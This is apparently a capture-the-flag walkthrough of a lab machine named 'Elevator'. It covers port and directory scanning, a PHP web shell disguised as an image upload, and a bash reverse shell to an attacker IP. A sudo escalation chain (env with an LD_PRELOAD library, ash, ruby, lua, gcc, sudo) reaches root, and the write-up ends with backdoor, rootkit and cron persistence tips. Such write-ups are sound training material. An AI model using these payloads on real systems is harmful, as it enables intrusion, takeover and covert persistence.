Elevator
export TARGET_IP=172.17.0.2
sudo nmap -p0- $TARGET_IP
PORT STATE SERVICE
80/tcp open http
Directory and File Enumeration with Gobuster
Initial Scan:
gobuster dir -u http://$TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt -t 50
/themes (Status: 301) [Size: 309] [--> http://$TARGET_IP/themes/]
Focused Scan:
A more targeted scan was performed on the /themes
directory using a larger wordlist and specifying common web extensions:
gobuster dir -u http://$TARGET_IP/themes -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html,txt -k
/uploads (Status: 301) [Size: 317] [--> http://$TARGET_IP/themes/uploads/]
/archivo.html (Status: 200) [Size: 3380]
Vulnerability Analysis
2.1 File Upload Functionality:
Further investigation of http://$TARGET_IP/themes/archivo.html
revealed a web page with file upload functionality. The application appeared to accept only JPG images.
Testing the Upload Mechanism:
- A legitimate JPG image was uploaded through the form.
- The uploaded file was found in the
/themes/uploads
directory with a randomly generated filename (e.g.,679007c28c5f9.jpg
). - Accessing the file directly (e.g.,
http://$TARGET_IP/themes/uploads/679007c28c5f9.jpg
) displayed the image's raw binary data, confirming it was stored on the server.
Potential for Remote Code Execution (RCE)
Hypothesis: The application's file type validation mechanism might be inadequate, potentially allowing the upload of malicious code disguised as a JPG image. If the server executes this code upon access, it could lead to Remote Code Execution (RCE) and ultimately, a reverse shell.
Exploitation
Crafting a Malicious Payload:
To test the hypothesis, a PHP reverse shell payload will be crafted. This payload will be prepended with a valid JPG header to bypass potential file type checks based solely on the initial bytes of the file.
Payload Creation (example):
echo 'GIF89a; <?php system($_GET["cmd"]); ?>' > shell.php.jpg
Explanation:
GIF89a;
: This is a valid header for a GIF image. While we are aiming to bypass a JPG check, using any recognized image header might increase success depending on the validation method used by the web server. If this header does not work, other image headers likeÿØÿà..JFIF..
could be used.<?php system($_GET["cmd"]); ?>
: This is a simple PHP code snippet that executes system commands received through thecmd
GET parameter.
Uploading the Payload:
The crafted shell.php.jpg
file will be uploaded using the file upload form on http://$TARGET_IP/themes/archivo.html
.
Triggering the Payload:
After successful upload, the payload can be triggered by accessing it directly and passing a command through the cmd
parameter:
http://$TARGET_IP/themes/uploads/<uploaded_filename>.jpg?cmd=id
Expected Result:
GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)
If the vulnerability exists and the server executes PHP code within the uploaded file, the output of the id
command (or any other command) should be displayed in the browser.
Establishing a Reverse Shell
If the previous step is successful, a more robust reverse shell can be established.
Setting up a Netcat Listener:
rlwrap nc -lvnp 4444
Modifying the Payload:
A more sophisticated PHP reverse shell payload can be used. Replace the content of shell.php.jpg
(after the image header) with a payload like this (modify $attacker_ip
and 4444
accordingly):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/4444 0>&1'");
?>
Re-upload the Payload:
Upload the modified shell.php.jpg
.
Triggering the Reverse Shell:
Access the uploaded file's URL:
http://$TARGET_IP/themes/uploads/<uploaded_filename>.jpg
Result:
A reverse shell connection should be established on the Netcat listener, granting interactive shell access to the target server.
Privilege Escalation
Escalating from www-data
After successfully obtaining a reverse shell, the next objective is to escalate privileges from the current user (www-data
) to a higher-privileged user, ideally root
.
Initial Enumeration:
The first step in privilege escalation is often to check the sudo
permissions for the current user:
sudo -l
Results:
Matching Defaults entries for www-data on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on 2a391bddf37c:
(daphne) NOPASSWD: /usr/bin/env
Analysis:
The output reveals that the www-data
user can execute /usr/bin/env
as the user daphne
without requiring a password. This presents a potential privilege escalation vector.
Understanding the Vulnerability:
The env
command, when run with sudo
, can be leveraged to manipulate environment variables. If not carefully configured, it can be used to execute arbitrary commands with the privileges of the target user (in this case, daphne
). The env_reset
default setting doesn't prevent an attack by itself, we can still use /usr/bin/env
to manipulate environment variables.
Exploitation Strategy:
EASY WAY:
https://gtfobins.github.io/gtfobins/env/#suid
sudo -u daphne /usr/bin/env /bin/sh -p
HARD WAY:
The strategy here is to use sudo
with /usr/bin/env
to set an environment variable, and subsequently execute a program that is influenced by that environment variable. In many systems, the dynamic linker (ld.so
) respects variables like LD_PRELOAD
. This specific variable allows us to specify a shared library that will be loaded before any other library when a program is executed.
Steps:
-
Create a Malicious Shared Library:
We will create a simple shared library in C that executes a shell when it's loaded.
lib.c
:#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash");
}Because we could not have
nano
to write this script, try:cd /tmp
echo '#include <stdio.h>' > lib.c
echo '#include <stdlib.h>' >> lib.c
echo 'static void inject() __attribute__((constructor));' >> lib.c
echo 'void inject() {' >> lib.c
echo ' setuid(0);' >> lib.c
echo ' system("/bin/bash");' >> lib.c
echo '}' >> lib.cCompile the library:
gcc -shared -fPIC -o lib.so lib.c
This command compiles the
lib.c
file into a shared object file namedlib.so
. The options used are:-shared
: This option tells the compiler to create a shared object which can then be linked with other objects to form an executable.-fPIC
: This option stands for "Position Independent Code". It is necessary for shared libraries because the code may be loaded at any address in memory.-o lib.so
: This option specifies the output file name, in this caselib.so
.
Alternatively transfer the compiled lib.so
from your machine to the target machine. You can use tools like scp
, wget
, or curl
depending on what's available within the reverse shell. For example, you might host it temporarily on your attacking machine and use wget
to download it into the /tmp
directory of the target.
-
Exploit with
sudo
andLD_PRELOAD
:Execute the following command in the reverse shell, where
/path/to/lib.so
is the location where you uploaded the library:sudo -u daphne /usr/bin/env LD_PRELOAD=/path/to/lib.so /bin/bash
Explanation:
sudo -u daphne
: Executes the command as the userdaphne
./usr/bin/env
: The command that we have permissions to execute withsudo
.LD_PRELOAD=/path/to/lib.so
: Sets theLD_PRELOAD
environment variable to point to our malicious library./bin/bash
: Any command that will be executed by the dynamic linker will have the library specified byLD_PRELOAD
preloaded.
Expected Result:
The inject
function in lib.so
will be executed before anything in /bin/bash
, granting a shell with daphne
's privileges.
Escalating from Daphne
After obtaining a shell as daphne
, we again check for potential sudo
privilege escalation opportunities:
sudo -l
Results:
Matching Defaults entries for daphne on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User daphne may run the following commands on 2a391bddf37c:
(vilma) NOPASSWD: /usr/bin/ash
Analysis:
The sudo
configuration allows the daphne
user to execute the /usr/bin/ash
command as the user vilma
without a password. /usr/bin/ash
is a lightweight shell (Almquist Shell), similar to bash
but often smaller and with fewer features.
Exploitation Strategy:
The most straightforward way to exploit this is to directly run /usr/bin/ash
with sudo
to gain a shell as vilma
:
https://gtfobins.github.io/gtfobins/ash/#suid
sudo -u vilma /usr/bin/ash
Expected Result:
This command should immediately drop you into an ash
shell running with vilma
's privileges.
Verifying the Escalation:
id
> uid=1001(vilma) gid=1001(vilma) groups=1001(vilma)
Escalating from Vilma
Having obtained a shell as vilma
, we check for sudo
privilege escalation possibilities:
sudo -l
Results:
Matching Defaults entries for vilma on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User vilma may run the following commands on 2a391bddf37c:
(shaggy) NOPASSWD: /usr/bin/ruby
Analysis:
The sudo
configuration permits the vilma
user to execute /usr/bin/ruby
as the user shaggy
without requiring a password.
Exploitation Strategy:
We can leverage Ruby's capabilities to spawn a shell. GTFOBins provides a suitable payload for this purpose:
sudo -u shaggy ruby -e 'exec "/bin/sh"'
Explanation:
sudo -u shaggy
: Executes the command as the usershaggy
./usr/bin/ruby
: The command we are allowed to execute.-e 'exec "/bin/sh"'
: This is a Ruby one-liner that executes a shell using theexec
function.
Expected Result:
This command should immediately spawn a shell running with shaggy
's privileges.
Verification:
Use the id
command to confirm that you are now shaggy
:
id
Escalating from Shaggy
With access as shaggy
, we repeat the process of checking for sudo
permissions:
sudo -l
Results:
Matching Defaults entries for shaggy on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User shaggy may run the following commands on 2a391bddf37c:
(fred) NOPASSWD: /usr/bin/lua
Analysis:
The sudo
configuration allows shaggy
to run /usr/bin/lua
as the user fred
without a password. Lua is a scripting language, similar to Ruby or Python, and can also be used to execute system commands.
Exploitation Strategy:
We can consult GTFOBins again for a suitable Lua payload to spawn a shell as fred
. According to GTFOBins, the following payload should work:
sudo -u fred lua -e 'os.execute("/bin/sh")'
Escalating from Fred
sudo -l
Matching Defaults entries for fred on b944ae1c2604:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User fred may run the following commands on b944ae1c2604:
(scooby) NOPASSWD: /usr/bin/gcc
https://gtfobins.github.io/gtfobins/gcc/#shell
sudo -u scooby gcc -wrapper /bin/sh,-s .
Escalating from Scooby
sudo -l
Matching Defaults entries for scooby on b944ae1c2604:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User scooby may run the following commands on b944ae1c2604:
(root) NOPASSWD: /usr/bin/sudo
https://gtfobins.github.io/gtfobins/sudo/
sudo -u root sudo su
# OR
sudo -u root sudo /bin/sh
Maintaining Access
To maintain persistence on the compromised system, consider:
- Creating a Backdoor User: Add a new user account with elevated privileges.
- Installing a Rootkit: A rootkit can hide malicious processes and maintain covert access.
- Setting up a Cron Job: Schedule a script to re-establish the reverse shell periodically.